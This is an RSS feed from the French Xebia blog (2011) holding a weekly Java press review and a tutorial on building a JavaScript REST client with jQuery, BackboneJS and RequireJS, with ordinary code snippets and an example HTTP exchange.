<?xml version="1.0" encoding="UTF-8"?> <rss
version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
xmlns:media="http://search.yahoo.com/mrss/"
> <channel><title>Blog Xebia France &#187; REST</title> <atom:link href="http://blog.xebia.fr/tag/rest/feed/" rel="self" type="application/rss+xml" /><link>http://blog.xebia.fr</link> <description>J2EE, Agilité et SOA</description> <lastBuildDate>Wed, 08 Feb 2012 09:23:16 +0000</lastBuildDate> <language>fr</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=</generator> <copyright>CC BY-NC-ND 2.0 http://creativecommons.org/licenses/by-nc-nd/2.0/fr/</copyright> <managingEditor>blog-france@xebia.com (Xebia France)</managingEditor> <webMaster>blog-france@xebia.com (Xebia France)</webMaster> <ttl>1440</ttl> <image> <url>http://blog.xebia.fr/videos/xebia-podcast.png</url><title>Blog Xebia France</title><link>http://blog.xebia.fr</link> <width>144</width> <height>144</height> </image> <itunes:new-feed-url>http://blog.xebia.fr/feed/podcast/</itunes:new-feed-url> <itunes:subtitle>Les podcasts de Xebia France vous permettent de suivre l&#039;actualité autour de Java, de l&#039;agilité, des technologies Web et bien d&#039;autres. Xebia France est une entreprise spécialisée dans les technologies Java et JEE en environnement agi[...]</itunes:subtitle> <itunes:summary>Les podcasts de Xebia France vous permettent de suivre l&#039;actualité autour de Java, de l&#039;agilité, des technologies Web et bien d&#039;autres. Xebia France est une entreprise spécialisée dans les technologies Java et JEE en environnement agile.</itunes:summary> <itunes:keywords>Xebia, Java, JEE, SOA, Agile, Méthodes, Agiles</itunes:keywords> <itunes:category text="Technology" /> <itunes:category text="Technology"> <itunes:category text="Software How-To" /> </itunes:category> <itunes:category text="Technology"> <itunes:category text="Tech News" /> </itunes:category> <itunes:author>Xebia France</itunes:author> <itunes:owner> <itunes:name>Xebia France</itunes:name> <itunes:email>blog-france@xebia.com</itunes:email> </itunes:owner> <itunes:block>no</itunes:block> <itunes:explicit>no</itunes:explicit> <itunes:image href="http://blog.xebia.fr/videos/xebia-podcast.png" /> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2011/11/29/revue-de-presse-xebia-239/</link> <comments>http://blog.xebia.fr/2011/11/29/revue-de-presse-xebia-239/#comments</comments> <pubDate>Tue, 29 Nov 2011 13:00:55 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Colebourne]]></category> <category><![CDATA[Duchess]]></category> <category><![CDATA[EJB2]]></category> <category><![CDATA[humour]]></category> <category><![CDATA[Mahout]]></category> <category><![CDATA[pasta theory]]></category> <category><![CDATA[REST]]></category> <category><![CDATA[Restfuse]]></category> <category><![CDATA[scala]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=9549</guid> <description><![CDATA[La revue de presse hebdomadaire des écosystèmes Java/JEE proposée par Xebia. Actualité éditeurs / SSII Sortie de la première version stable de Restfuse 1.0 Le coin de la technique Humour de développeur Evénements de notre communauté en France et à l&#8217;étranger Scala et les EJB2 Retour sur l&#8217;atelier Apache Mahout des Duchess France Actualité éditeurs [...]]]></description> <content:encoded><![CDATA[<p><img
style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /></p><p><em>La revue de presse hebdomadaire des écosystèmes Java/JEE proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2011/11/29/revue-de-presse-xebia-239#Sortiedelapremireversionstable">Sortie de la première version stable de Restfuse 1.0</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2011/11/29/revue-de-presse-xebia-239#Humourdedveloppeur">Humour de développeur</a></li></ul><p><strong>Evénements de notre communauté en France et à l&#8217;étranger</strong></p><ul><li><a
href="http://blog.xebia.fr/2011/11/29/revue-de-presse-xebia-239#ScalaetlesEJB">Scala et les EJB2</a></li><li><a
href="http://blog.xebia.fr/2011/11/29/revue-de-presse-xebia-239#RetoursurlatelierApacheMahoutd">Retour sur l&#8217;atelier Apache Mahout des Duchess France</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="Sortiedelapremireversionstable"></a>Sortie de la première version stable de Restfuse 1.0</h4><p>Restfuse 1.0.0 est la première version stable de cette API créée par EclipseSource. Il s&#8217;agit d&#8217;une extension open source de JUnit qui permet de tester des implémentations différentes REST (Jersey, RESTLET, RESTeasy&#8230;). Ses créateurs s’appuient sur le besoin d&#8217;avoir des tests d&#8217;intégration sur les services REST au-delà des tests unitaires, et des mocks des services afin de vérifier que le système entier fonctionne correctement.</p><p>Les objectifs de ce framework sont :</p><ul><li><strong>Trouver une solution propre pour tester les services REST asynchrones. </strong>Pour tester les services asynchrones, les deux solutions les plus communes sont : callbacks ou polling. Les annotations <code>@Callback</code> et <code>@Poll</code> sont fournies afin d&#8217;éviter de boucler sur la requête ou de démarrer le serveur avant ou dans le test.</li></ul><ul><li><strong>Faciliter la configuration des requêtes avec des annotations.</strong> L&#8217;annotation <code>@HttpTest</code> permet de configurer la requête HTTP et de l&#8217;envoyer avant que le test ne soit exécuté. Cette méthode essaie d&#8217;améliorer d&#8217;autres APIs de tests, comme <a
title="restassured" href="http://blog.jayway.com/2010/12/27/rest-assured-or-how-to-easily-test-rest-services-in-java/">rest-assured</a> où la requête doit être configurée en code Java dans la méthode de test.</li></ul><p>Vous pouvez trouver des exemples d&#8217;utilisation sur la page de <a
title="Restfuse" href="http://restfuse.com/">Restfuse</a> et aussi dans cet article <a
title="InfoQ" href="http://www.infoq.com/news/2011/11/restfuse-1-0-0">InfoQ</a> qui contient plusieurs exemples assez pratiques.</p><p>Le projet est hébergé sur <a
title="Github" href="https://github.com/eclipsesource/restfuse">Github</a>. La version 1.0 est disponible sur le dépôt central de Maven et aussi sur <a
title="p2" href="http://restfuse.com/p2/">p2</a> pour le systèmes OSGi.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="Humourdedveloppeur"></a>Humour de développeur</h4><p>Nous vous avertissons tout de suite, si vous êtes allergiques à l&#8217;humour geek ou aux anglicismes, vous pouvez zapper ce passage qui risque de vous faire bondir. Toujours là ? Allons-y alors !<br
/> Depuis peu tournent sur la toile des liens vers <a
title="cet article" href="http://www.dodgycoder.net/2011/11/yoda-conditions-pokemon-exception.html">cet article</a>. Celui-ci est en fait un &laquo;&nbsp;best-of&nbsp;&raquo; d&#8217;<a
title="une vieille page" href="http://stackoverflow.com/questions/2349378/new-programming-jargon-you-coined">une vieille page</a> de StackOverflow ayant généré des commentaires sur 12 (!) pages. Nous vous laissons la lire, en plusieurs fois tout de même pour éviter l&#8217;overdose, mais voici une petite sélection:</p><ul><li><strong>les Yoda conditions</strong>: elles consistent à inverser la variable avec la valeur testée dans une condition. Ainsi on écrira <code>if (CONST_VALUE == variable)</code> au lieu de <code>if (variable == CONST_VALUE)</code>. Ceci car Yoda lui-même parle en inversant les mots: &laquo;&nbsp;si grande est la variable, Jedi tu deviendra&nbsp;&raquo;.</li><li><strong>Pokémon Exception Handling</strong>: consiste à faire un <code>catch (Throwable t)</code> histoire de catcher toutes exceptions. Provient du slogan des Pokemons &laquo;&nbsp;<em>catch&#8217;em all</em>&laquo;&nbsp;.</li><li><strong>Les accolades égyptiennes</strong>: elles représentent le formatage par défaut en Java (voir <a
title="les préconisations de Sun" href="http://java.sun.com/docs/codeconv/html/CodeConventions.doc5.html">les préconisations de Sun</a>), c&#8217;est-à-dire que la position des accolades fait penser à un Égyptien. Le mieux est de voir cela <a
title="en image" href="http://stackoverflow.com/questions/2349378/new-programming-jargon-you-coined#2801919">en image</a>.</li><li><strong>Refuctoring</strong>: décrit l&#8217;action prenant un beau morceau de code bien pensé pour le transformer, à travers une série d&#8217;étapes (ir-)réversibles, en un immonde plat de spaghettis non maintenable.</li><li><strong>Stringly Typed</strong>: par opposition à &laquo;&nbsp;Strongly typed&nbsp;&raquo;, indique l&#8217;absence de typage et l’utilisation à outrance des chaînes de caractères, entraînant des problèmes visibles seulement au runtime. Se rencontre souvent dans les fichiers XML ou chez les novices en Javascript.</li><li><strong>Le Baklava code</strong>: désigne du code où trop de couches <a
title="s'empilent" href="http://stackoverflow.com/questions/2349378/new-programming-jargon-you-coined#2801919">s&#8217;empilent</a>. On fera l&#8217;analogie avec la &laquo;&nbsp;Théorie des pâtes&nbsp;&raquo; qui assimile des problèmes d&#8217;architecture du code à des plats de pâtes. On y retrouve le code spaghetti, le code ravioli, le code lasagne et&#8230; le code Spaghetti avec boulettes. Délectez-vous <a
title="avec les recettes" href="http://georgik.sinusgear.com/2011/03/07/spaghetti-lasagna-and-raviolli-code">avec les recettes</a> !</li><li><a
title="Hydra Code" href="http://stackoverflow.com/questions/2349378/new-programming-jargon-you-coined#2802897">Hydra Code</a>: désigne du code impossible à corriger, où une correction entraîne inévitablement de nouveaux bugs.</li><li><strong>Protoduction code</strong>: lorsque du code non prévu qui n’était pas destiné à se retrouver en production finit par y atterrir. Le &laquo;&nbsp;Protoduction Driven Development&nbsp;&raquo; se rapproche ainsi souvent du &laquo;&nbsp;Marketing Feature Driven Devlopment&nbsp;&raquo;.</li><li><strong>Megamoth</strong>: la MEGA MOnolitique méTHode se retrouve souvent dans les projets où des codeurs bien intentionnés ont regroupé en une seule méthode différents traitements et logiques compliqués histoire de garder le reste du code simple et clair. Généralement, cette méthode fait plusieurs écrans de haut, quelques centaines de lignes et les commentaires sont bien sûr sans rapport avec le traitement effectif.</li></ul><p>C&#8217;étaient quelques-unes des perles de la première page du thread sur Stackoverflow. La lecture du reste des 12 page est bien sûr fortement conseillée pour se détendre les zygomatiques.</p><h3><a
name="EvnementsdenotrecommunautenFra"></a>Evénements de notre communauté en France et à l&#8217;étranger</h3><h4><a
name="ScalaetlesEJB"></a>Scala et les EJB2</h4><p>Stephen Colebourne, le <a
title="bouillant" href="http://blog.xebia.fr/2011/06/15/revue-de-presse-xebia-215/#LavenirdeJavasejouemaintenant">bouillant</a> <em>project lead</em> de <a
title="Joda Time" href="http://joda-time.sourceforge.net/">Joda Time</a> présentait à Devoxx le 17 novembre dernier une <a
title="conférence" href="http://blog.joda.org/2011/11/guide-to-evaluating-fantom.html">conférence</a> sur le langage <a
title="Fantom" href="http://fantom.org/">Fantom</a>. De cette présentation on n&#8217;en a malheureusement retenu qu&#8217;une petite phrase sibylline lourde de sous-entendus: &laquo;&nbsp;Scala ressemble aux EJB2&#8243;.</p><p>La pique n&#8217;a pas manqué de <a
title="créer le buzz" href="http://www.infoq.com/news/2011/11/scala-ejb2">créer le buzz</a>, à tel point que Colebourne s&#8217;est senti obligé d&#8217;y apporter <a
title="une explication" href="http://blog.joda.org/2011/11/scala-feels-like-ejb-2-and-other.html">une explication</a>, puis <a
title="une autre" href="http://blog.joda.org/2011/11/scala-ejb-2-feedback.html">une autre</a>.</p><p>Colebourne voit du mérite dans bien des langages: Groovy, Kotlin, Ceylon, Gosu, Xtend, Clojure et bien entendu, Fantom. Mais sur Scala il reste plutôt sévère: selon lui il y aurait &laquo;&nbsp;beaucoup à dire sur Scala, mais peu de bien&nbsp;&raquo;, car ce langage &laquo;&nbsp;prend une direction totalement erronée pour l&#8217;avenir&nbsp;&raquo;.</p><p>Mais que reproche-t-il au juste à ce langage?</p><ul><li><strong>Modularité</strong>. Scala <a
title="n'a pas de système de modules" href="http://alblue.bandlem.com/2009/08/modularity-for-scala.html">n&#8217;a pas de système de modules</a> et reprend ainsi une erreur fondamentale du langage Java, difficile à corriger (cf. le projet <a
title="Jigsaw" href="http://openjdk.java.net/projects/jigsaw/">Jigsaw</a>). Colebourne est d&#8217;avis qu&#8217;un outil externe tel que Maven, Ivy ou OSGi n&#8217;est pas une solution durable à un problème qui doit être résolu au coeur même du langage.</li></ul><ul><li><strong>Concurrence</strong>: pourtant si vantée, la programmation concurrente sous Scala ne serait pour Colebourne qu&#8217;un &laquo;&nbsp;écran de fumée&nbsp;&raquo;. Scala s&#8217;appuie davantage sur le design de <a
title="ses librairies" href="http://akka.io/">ses librairies</a> et sur une certaine discipline de codage que sur une contrainte forte et inhérente au langage, et permet en effet qu&#8217;un objet mutable soit partagé &#8212; contrairement à Fantom, qui lui traque ces objets et les signale par des erreurs de compilation.</li></ul><ul><li><strong>Communauté</strong>: la communauté Scala serait certes large et active, mais faite de sophistes davantage mus par la beauté du langage et l&#8217;émulation intellectuelle que par l&#8217;efficacité pragmatique des algorithmes. Colebourne la considère comme un cercle élitiste tendant à prendre de haut le Javaïste &laquo;&nbsp;de base&nbsp;&raquo;.</li></ul><ul><li><strong>Système de typage</strong>: pour Colebourne, ils serait tout simplement trop complexe, &laquo;&nbsp;au-delà du raisonnable&nbsp;&raquo;. Cette complexité serait un faux atout: &laquo;&nbsp;si j&#8217;ajoute un String à une liste d&#8217;entiers, je devrais obtenir une erreur de compilation, non une liste de <code>Any</code>&laquo;&nbsp;.</li></ul><ul><li><strong>Syntaxe</strong>: même verdict. Si la flexibilité permet l&#8217;écriture fluide de DSLs (et encore, Colebourne y préfère l&#8217;approche <a
title="à la Fantom" href="http://fantom.org/doc/docLang/DSLs.html">à la Fantom</a>), les <a
title="paramtres implicites" href="http://www.scala-lang.org/node/114">paramètres implicites</a> ou encore les nombreux sucres syntaxiques du langage donneraient au code un côté obscur et hermétique. Utilisés à large échelle sur de grands projets par de vastes équipes, leur effet serait plutôt négatif sur la maintenabilité du code.</li></ul><ul><li><strong>Qualité</strong>: Colebourne rend ici la parole à Paul Phillips, un commiteur Scala, et cite des extraits d&#8217;un <a
title="podcast" href="http://scalatypes.com/webpage/interview-with-paul-phillips">podcast</a> datant de Juin 2011. Philips y évoque l&#8217;extraordinaire complexité du code et surtout avoue platement que Scala manque d&#8217;une &laquo;&nbsp;suite de tests extensive&nbsp;&raquo; couvrant l&#8217;ensemble du code. Pour Colebourne, c&#8217;est la preuve même que Scala n&#8217;aurait pas encore atteint les niveaux de maturité, maintenabilité et évolutivité que l&#8217;on est en mesure d&#8217;attendre d&#8217;un langage d&#8217;entreprise. (A quoi nous pourrions également rajouter que, comme le note <a
title="Ceki Glc" href="http://ceki.blogspot.com/2011/08/is-scala-trustworthy.html">Ceki Gülcü</a>, Scala a à de nombreuses reprises brisé la compatibilité binaire entre releases: 2.7, 2.8, 2.9&#8230;)</li></ul><p>En somme on pourrait résumer la pensée de Colebourne par &laquo;&nbsp;trop de flexibilité tue la flexibilité&nbsp;&raquo;. Il va de soi que ses opinions agacent bon nombre d&#8217;adeptes de Scala et n&#8217;ont pas manqué de déclencher de nombreux commentaires enflammés sur son billet, au milieu, il est vrai, de quelques réponses plus posées (et plus ou moins convaincantes). D&#8217;autres enfin ont préféré répondre point par point <a
title="sous forme de billet" href="http://retroprogrammer.blogspot.com/2011/11/scala-gripes-not-here.html">sous forme de billet</a>.</p><h4><a
name="RetoursurlatelierApacheMahoutd"></a>Retour sur l&#8217;atelier Apache Mahout des Duchess France</h4><p>La semaine dernière s&#8217;est tenu un atelier Apache Mahout organisé par les <a
title="Duchess France" href="http://jduchess.org/duchess-france/">Duchess France</a> et présenté par <a
title="Michaël Figuière (Xebia)" href="http://blog.xebia.fr/author/mfiguiere">Michaël Figuière (Xebia)</a> et <a
title="Jean-Baptiste Lemée (Lateral Thoughts)" href="http://www.lateral-thoughts.com/">Jean-Baptiste Lemée (Lateral Thoughts)</a>. Le but de cet évènement était de mettre en valeur les fonctionnalités qui peuvent être développées grâce à Mahout et qui sont encore très peu répandues dans les applications d&#8217;entreprise.</p><p><a
title="Apache Mahout" href="http://mahout.apache.org/">Apache Mahout</a> est un <em>framework</em> d&#8217;apprentissage artificiel (_machine learning_). Il permet, entre autres, de réaliser des moteurs de recommandations, de la classification automatique de documents, ou encore du regroupement d&#8217;entités (_clustering_). Ce type d&#8217;algorithmique était principalement réservé au monde de la recherche il y a encore une décennie, avant de se répandre parmi les sites Web les plus populaires durant les années 2000, bien que restant une affaire de spécialistes. L&#8217;émergence de Mahout, projet initié en 2009, permet enfin la banalisation de ces fonctionnalités tant appréciées par les utilisateurs, grâce à son API Java simple. En cela Mahout devient à l&#8217;apprentissage artificiel ce que <a
title="Lucene" href="http://lucene.apache.org/">Lucene</a> est devenu aux moteurs de recherche.</p><p>L&#8217;atelier Mahout a démarré avec une présentation générale et rapide du <em>framework,</em> suivie par un exercice pratique avec la mise en oeuvre de Mahout pour créer un moteur de recherche de recettes de cuisines, en seulement quelques lignes de code&#8230;</p><p>Si vous avez manqué cet évènement, vous pouvez retrouver les <em>slides</em> de la présentation <a
title="ici" href="http://www.slideshare.net/mfiguiere/duchess-france-nov-2011-atelier-apache-mahout">ici</a>.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2011/11/29/revue-de-presse-xebia-239/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>REST côté client avec JavaScript</title><link>http://blog.xebia.fr/2011/11/14/rest-javascript-client/</link> <comments>http://blog.xebia.fr/2011/11/14/rest-javascript-client/#comments</comments> <pubDate>Mon, 14 Nov 2011 06:00:48 +0000</pubDate> <dc:creator>Yves Amsellem</dc:creator> <category><![CDATA[SOA]]></category> <category><![CDATA[Backbone]]></category> <category><![CDATA[JavaScript]]></category> <category><![CDATA[jQuery]]></category> <category><![CDATA[Require]]></category> <category><![CDATA[REST]]></category> <category><![CDATA[Web-Services]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=9079</guid> <description><![CDATA[Voilà 11 ans que Roy Fielding a introduit REST, le style d&#8217;architecture original du web appliqué aux échanges inter-applications. Reposant sur HTTP, il promet économie, simplicité et profit des structures réseau en place. Voyons comment l&#8217;implémenter via un client JavaScript — présenté ici — communiquant avec un serveur Java — présenté dans un article connexe [...]]]></description> <content:encoded><![CDATA[<p>Voilà 11 ans que Roy Fielding a introduit REST, le style d&#8217;architecture original du web appliqué aux échanges inter-applications. Reposant sur HTTP, il promet économie, simplicité et profit des structures réseau en place. Voyons comment l&#8217;implémenter via un client JavaScript — présenté ici — communiquant avec un serveur Java — présenté dans <a
href=" http://blog.xebia.fr/2011/11/14/rest-java-serveur">un article connexe</a> –. Le code clé-en-main est <a
href="https://github.com/yamsellem/Backbone-Jersey">disponible sur GitHub</a>.</p><p><center><img
src="http://blog.xebia.fr/wp-content/uploads/2011/11/jQueryUI.png" /><img
src="http://blog.xebia.fr/wp-content/uploads/2011/11/plus.png" /><img
src="http://blog.xebia.fr/wp-content/uploads/2011/11/RequireJS.png" /><img
src="http://blog.xebia.fr/wp-content/uploads/2011/11/plus.png" /><img
src="http://blog.xebia.fr/wp-content/uploads/2011/11/backboneJS.jpeg" /></center></p><p>Le client JavaScript que nous allons déployer repose sur <a
href="http://jquery.com/">jQuery</a> — un framework de haute productivité &#8212;, nous lui adjoindrons <a
href="http://documentcloud.github.com/backbone">BackboneJS</a>, un framework MVC REST, et <a
href="http://requirejs.org/docs/api.html">RequireJS</a>, un chargeur de modules à la demande.</p><h3>Ressources et représentations</h3><p>Le serveur auquel se connecte notre client est une boutique en ligne type Amazon. Elle propose une liste de produits, disponibles en quantité limitée, qu&#8217;il est possible de réserver dans un panier client. Deux ressources implémentent ces fonctionnalités :</p><style>table {border: hidden; border-collapse: collapse; font-size: small;}
tr, th, td {border: dotted 1px #6A205F; padding: 5px;}
th {background: #F0EDF1;}</style><table><tr><th> URI</th><th> Verbes disponibles</th><th> Effet</th></tr><tr><td> <code>product</code></td><td> GET, POST</td><td> liste et création de produits</td></tr><tr><td> <code>basket/{username}</code></td><td> GET, DELETE</td><td> panier de <code>username</code>, suppression</td></tr></table><p>Ces ressources produisent et consomment les représentations suivantes :</p><table><tr><td> <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/java/com/xebia/representation/Product.java">product</a></td><td> <code>{id:long, name:string, price:int, links:link[]}</code></td></tr><tr><td> <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/java/com/xebia/representation/Stock.java">stock</a></td><td> <code>{quantity:int, id:long, related:link}</code></td></tr><tr><td> <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/java/com/xebia/representation/Basket.java">basket</a></td><td> <code>{stock:stock, links:link[]}</code></td></tr><tr><td> <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/java/com/xebia/representation/Link.java">link</a></td><td> <code>{href:anyURI, rel:[rels/book,rels/price,rels/payment,rels/related]}</code></td></tr></table><p>Les produits disponibles dans le stock disposeront, via leur attribut links, d&#8217;une relation afin de les ajouter au panier :</p><table><tr><th> Relation</th><th> Ressource</th><th> Effet</th></tr><tr><td> <code>rels/book</code></td><td> <code>/product</code></td><td> réservation d&#8217;une quantité d&#8217;un produit par un client</td></tr></table><p>Se reporter à l&#8217;article connexe pour plus de détails sur les notions de ressource, représentation et relation.</p><h3>Structure du site</h3><p>Notre client web est composé d&#8217;une simple page html, d&#8217;une css et de modules JavaScript. Outre ses headers, la page <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/webapp/index.html">index.html</a> se résume aux lignes suivantes.</p><pre class="brush: xml; title: ; notranslate">
&lt;body&gt;
  &lt;div id=&quot;cart&quot;&gt;&lt;/div&gt;
  &lt;div id=&quot;products&quot;&gt;
    &lt;div id=&quot;product-creation&quot;&gt;&lt;/div&gt;
    &lt;div id=&quot;product-list&quot;&gt;&lt;/div&gt;
  &lt;/div&gt;
&lt;/body&gt;
</pre><p>Trois emplacements sont prévus dans cette page sous la forme de div ; un pour le panier client, un autre pour ajouter un produit en magasin, un dernier pour lister les produits existants. Vides lors de l&#8217;affichage de la page, ces trois emplacements vont être renseignés par les données serveur via jQuery. Ce dernier permet de manipuler dynamiquement le DOM – le contenu de la page – afin d&#8217;offrir une expérience d&#8217;utilisation sans rafraîchissement.</p><p><a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/webapp/css/style.css">La mise en page</a> est simpliste : les produits occupent la majorité de la page, le panier, lui, est confiné dans une « colonne » sur la droite.</p><pre class="brush: xml; title: ; notranslate">
#products {margin-right:250px;}
#cart {float:right; width:250px }
</pre><h3>Modules externes</h3><p>Si jQuery fournit d&#8217;excellents outils pour manipuler le DOM, il est agnostique quant à la structuration du code ; BackboneJS permet de le structurer en MVC et RequireJS de le découper en modules. Commençons par confier la gestion des dépendances à RequireJS dans le head de la page index.html.</p><pre class="brush: xml; title: ; notranslate">
&lt;script
  data-main=&quot;js/main&quot;
  src=&quot;//ajax.cdnjs.com/ajax/libs/require.js/0.24.0/require.min.js&quot;&gt;
&lt;/script&gt;
</pre><p>RequireJS, situé sur un CDN (un repository de librairies), est chargé du code JavaScript de notre page. Pour se faire, il a besoin du point d&#8217;entrée de l&#8217;application, que l&#8217;on nommera <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/webapp/js/main.js">main.js</a>. Dans ce fichier, on récupère la main via une méthode <code>require</code>. Les bibliothèques externes sont importées – le préfixe <code>order!</code> indique qu&#8217;elles seront chargées dans l&#8217;ordre de déclaration – puis notre code exécuté.</p><pre class="brush: jscript; title: ; notranslate">
require({ baseUrl:'/js' },
  [&quot;order!//ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js&quot;,
   &quot;order!//ajax.googleapis.com/ajax/libs/jqueryui/1.8.13/jquery-ui.min.js&quot;,
   &quot;order!//ajax.cdnjs.com/ajax/libs/underscore.js/1.1.6/underscore-min.js&quot;,
   &quot;order!//ajax.cdnjs.com/ajax/libs/backbone.js/0.3.3/backbone-min.js&quot;,
   &quot;order!/lib/jquery.pubsub.min.js&quot;],
  function()
  {
      // application
  }
);
</pre><p>Une fois les librairies externes importées, les classes de l&#8217;application doivent l&#8217;être également. RequireJS permet de moduler une application à loisir, nous retiendrons un découpage « une classe par fichier », de nombreux autres sont imaginables. Il est important de noter que ce découpage est un artifice destiné à faciliter le développement, lors de la mise en production les sources RequireJS seront <a
href="http://requirejs.org/docs/optimization.html">minifiées</a> (compressées et rassemblées au sein d&#8217;un même fichier).</p><pre class="brush: jscript; title: ; notranslate">
require(...,
  function () {
    require([&quot;product/ProductView&quot;,
             &quot;product/ProductCollection&quot;],
    function (ProductView,
              ProductCollection) {
      // application
    });
  }
);
</pre><p>Les classes de l&#8217;application sont déclarées avec leur chemin et manipulées grâce à un alias. Elles doivent être déclarées dans un fichier distinct comme module RequireJS via une méthode <code>define</code> comme nous allons le voir.</p><h3>Créer un produit avec POST</h3><p>Maintenant que la structure du projet est définie, il est temps de connecter le code aux ressources serveur : BackboneJS entre en jeu. Le <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/webapp/template/ProductCreationTemplate.html">formulaire de création de produit</a> est le premier élément à ajouter à la page ; en voici le contenu.</p><pre class="brush: xml; title: ; notranslate">
&lt;form method=&quot;post&quot; onsubmit=&quot;return false&quot; class=&quot;product&quot;&gt;
  &lt;fieldset&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;label&gt;Name: &lt;input type=&quot;text&quot; id=&quot;name&quot; size=&quot;3&quot; /&gt;&lt;/label&gt;&lt;/li&gt;
      &lt;li&gt;&lt;label&gt;Price: &lt;input type=&quot;text&quot; id=&quot;price&quot; size=&quot;3&quot; /&gt;&lt;/label&gt;&lt;/li&gt;
      &lt;li&gt;&lt;label&gt;Stock: &lt;input type=&quot;text&quot; id=&quot;quantity&quot; size=&quot;3&quot; /&gt;&lt;/label&gt;&lt;/li&gt;
    &lt;/ul&gt;
    &lt;input type=&quot;submit&quot; value=&quot;new product&quot; /&gt;
  &lt;/fieldset&gt;
&lt;/form&gt;
</pre><p>Dans un premier temps, la classe <code>ProductCreationView</code> doit écraser l&#8217;emplacement <code>product-creation</code> de index.html avec la template précédente.</p><p>La fichier <a
href="https://github.com/yamsellem/Backbone-Jersey/blob/master/src/main/webapp/js/product/ProductCreationView.js">ProductCreationView</a> est déclaré comme module RequireJS par la méthode <code>define</code> qui le nomme et indique sa dépendance à la template (le préfixe <code>text!</code> permet l&#8217;accès à un fichier plat). Ce module retourne une classe <code>View</code> héritée de BackboneJS qui sera instanciée par l&#8217;appelant.</p><p>Une vue BackboneJS définit :</p><ul><li>l&#8217;élément du DOM qu&#8217;elle manipule (avec jQuery) via la propriété <code>el</code></li><li>son constructeur via la propriété <code>initialize</code></li><li>les évènements capturés sur l&#8217;élément manipulé via la propriété <code>events</code></li></ul><pre class="brush: jscript; title: ; notranslate">
define(&quot;ProductCreationView&quot;,
  ['text!/template/ProductCreationTemplate.html'],
  function(tmpl){
  return Backbone.View.extend({
    el: $('#product-creation'),
    initialize: function(){
      this.el.html(tmpl);
    }
  });
});
</pre><p>Le $ est un alias jQuery. Il donne accès à toutes les méthodes du framework ; avec une chaîne en argument, il joue le rôle de sélecteur. Il identifie un élément du DOM et permet de remplacer son contenu avec <code>el.html(value)</code>. Le #, issu du monde css, représente l&#8217;attribut id d&#8217;une balise html (l&#8217;attribut class est représenté par un point, « . »).</p><p>Lorsqu&#8217;une instance de cette vue est créée, son constructeur écrase l&#8217;élément DOM à l&#8217;id <code>product-creation</code> et le remplace par le contenu de la template.</p><pre class="brush: jscript; title: ; notranslate">
define(&quot;ProductCreationView&quot;,
  function(...){
    events: {
      &quot;click input:submit&quot;: &quot;create&quot;
    },
    create: function() {
      var name = $('#name');
      var price = $('#price');
      var quantity = $('#quantity');
 
      this.collection.create({
        name: name.val(),
        price: price.val()
      });
    }
  });
});
 
define(&quot;ProductCollection&quot;, [], function(){
  return Backbone.Collection.extend({
     url: '/resource/product'
  });
});
</pre><p>Ensuite, lors du clic de l&#8217;utilisateur sur l&#8217;input submit de la template, la méthode <code>create</code> capture la valeur des inputs text <code>Name</code>, <code>Price</code> et <code>Stock</code> et délègue la création du produit à une collection (héritée de la <code>Collection</code> BackeboneJS). Cette dernière déclenche un POST sur la ressource <code>/product</code> avec la représentation qui lui est transmise.</p><p>Le fichier main.js déclare les deux classes <code>ProductCollection</code> et <code>ProductCreationView</code>, les instancie, et communique la collection à la vue afin qu&#8217;elle puisse créer un nouvel élément dans celle-ci (BackboneJS ne dispose pas de contrôleur à hériter). La méthode <code>start</code> est le bootstrap de l&#8217;application RequireJS.</p><pre class="brush: jscript; title: ; notranslate">
require(...,
  function () {
    require([&quot;product/ProductView&quot;,
             &quot;product/ProductCollection&quot;],
    function (ProductView,
              ProductCollection) {
      return {
      start: function() {
        var products = new ProductCollection();
        new ProductCreationView({ collection: products });
      }
    }
  }
);
</pre><p>Récapitulons :</p><ol><li>la page index.html est chargée par le navigateur</li><li>la balise script initialise RequireJS qui donne la main à notre code</li><li>une collection est instanciée avec une référence à la ressource <code>/product</code></li><li>une vue est instanciée avec cette collection</li><li>cette vue charge la template de création de produit dans index.html</li><li>lors d&#8217;une création de produit par l&#8217;utilisateur, la vue appelle <code>create</code> sur la collection de produits</li><li>la collection de produits POST le produit au serveur et récupère celui retourné pour mettre à jour id et links</li></ol><p>L&#8217;échange HTTP obtenu est le suivant :</p><pre class="brush: jscript; title: ; notranslate">
# Request
POST /resource/product HTTP/1.1
Host: localhost:8080
Content-Type: application/json;q=1.0
{
  &quot;name&quot;:&quot;pull&quot;,
  &quot;price&quot;:25
}
 
# Response
HTTP/1.1 201 CREATED
